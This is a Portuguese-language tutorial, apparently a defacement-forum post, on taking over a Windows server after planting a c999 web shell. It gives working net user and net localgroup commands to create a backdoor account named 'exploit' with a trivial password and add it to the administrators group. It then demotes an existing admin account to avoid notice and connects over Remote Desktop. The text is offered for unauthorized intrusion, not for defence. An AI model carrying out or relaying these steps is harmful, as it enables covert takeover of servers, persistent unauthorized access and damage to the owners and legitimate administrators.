Adquirindo acesso r00t em Servidor Windows

Para começar você deve ter uma Shellcode no Servidor no qual você quer ter acesso ao r00t.

Nesse tutorial vou usar um c999 ShellCode. Ok Então vamos lá:

Execute o seguinte comando:

Código:

net user

Vai lhe mostrar os usuários que já estão cadastrados no servidor, um exemplo:

Código:

Contas de usuário para \\

-------------------------------------------------------------------------------

Administrador Convidado admin

HelpAssistant SUPPORT_388945a0

O comando foi concluído com sucesso!

Bom isso é só para mostrar os usuários cadastrados. Agora vamos cadastrar o nosso usuário para ter acesso total ao Servidor:

Execute o Comando:

Código:

net user exploit exploit /add

Irá aparecer a mensagem "Comando concluído com Exito". Usuário exploit com a senha exploit. Agora sim temos uma conta de usuário no servidor, mas só como usuário não vamos poder acessar, então para adicionar o usuário 'exploit' para o grupo de Administradores do Servidor precisamos executar o seguinte comando:

Código:

net localgroup administradores exploit /add

Pronto agora você é Administrador do Servidor, mas os antigos usuários irão ficar e talvez o Administrador do Server perceba a nova conta, então vamos deletar ele.

Código:

net localgroup administradores admin /delet

Agora você pode logar por acesso remoto no Servidor, para isso você vai precisar do IP, para pegar execute:

Código:

ipconfig

O último passo é:

Iniciar >> Todos os programas >> Acessórios >> Conexão com área de trabalho remota

Coloque Login e Senha e Alacazan, é só brincar de fuçar.

Posted in: Defacer